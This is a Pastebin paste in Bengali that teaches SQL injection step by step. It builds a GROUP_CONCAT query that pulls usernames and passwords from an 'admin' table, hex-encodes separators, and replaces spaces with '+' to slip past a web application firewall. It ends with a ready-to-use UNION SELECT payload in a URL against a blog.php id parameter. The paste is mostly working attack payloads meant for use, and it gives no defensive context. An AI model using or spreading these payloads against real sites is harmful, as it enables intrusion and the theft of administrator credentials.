Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- সিলেক্ট কিভাবে কাজ করেঃ
- SELECT username FROM admin
- এর মাধ্যমে আমরা যেটা চাইছি যে, 'admin' টেবিল থেকে 'username' কলামের ডেটা।
- অর্থাৎ, SELECT এর পর সাধারণত কলাম নেম থাকে আর FROM এর পর সাধারণত টেবিল নেম।
- এখন যদি আমরা admin টেবিল থেকে username আর password চাই তবে?
- SELECT GROUP_CONCAT(username, password) FROM admin
- output:
- admin123456,partho33445566,rasel^76jksdj
- আউটপুটে আমরা দেখলাম তিনটি রেজাল্ট।
- ১ম টি username: admin & password: 123456
- ২য় টি username: partho & password: 33445566
- ৩য় টি username: rasel & password: ^76jksdj
- এখানে সমস্যা হল ইউসারনেম আর পাসওয়ার্ড আলাদা করা কঠিন। আমরা চাই দুইটার মাথে == প্রতীকটি ব্যবহার করবো।
- SELECT GROUP_CONCAT(username, ==, password) FROM admin
- কিন্তু এভাবে কাজ করবে না। '==' এর HEX Encoding হোল 3d3d
- যেহেতু HEX Encoding তাই শুরুতে 0x যুক্ত করতে হবে
- অর্থাৎ,
- SELECT GROUP_CONCAT(username, 0x3d3d, password) FROM admin
- output:
- admin==123456,partho==33445566,rasel==^76jksdj
- এখনো পুরোপুরি পারফেক্ট না। রেজাল্ট গুলো নিচে নিচে আসলে ভালো হয়। HTML এর <br> স্ট্যাট্মেন্ট দিয়ে এটা করা যাবে।
- <br> এর HEX Encoding হল 0x3c62723e
- যেহেতু প্রতিটি রেজাল্ট কে আলাদা করবে তাই এভাবে লিখতে হবে
- SELECT GROUP_CONCAT(username,0x3d3d,password SEPARATOR 0x3c62723e) FROM admin
- নোটঃ SEPARATOR এর আগে পরে কমা হবে না।
- অনেক সময় WAF এর কারনে স্পেস(" ") ব্লক করা থাকে। তাই পরবর্তী সব এক্সামপল " " এর বদলে + দিয়ে করা হবে
- তাই ফাইনাল স্ট্যাট্মেন্ট
- SELECT+GROUP_CONCAT(username,0x3d3d,password+SEPARATOR+0x3c62723e)+FROM+admin
- যেমন ইউনিয়ন সিলেক্ট করার পর যদি ২ নাম্বার টা ভালনারেবল হয়
- example.com/blog.php?id=5+UNION+SELECT+1,2,3,4,5,6,7--
- তাহলে এভাবে দিলেই কাজ করবে, শুধু ২ এর বদলে () এর মধ্যে কোড
- example.com/blog.php?id=5+UNION+SELECT+1,(SELECT+GROUP_CONCAT(username,0x3d3d,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4,5,6,7--
Add Comment
Please, Sign In to add comment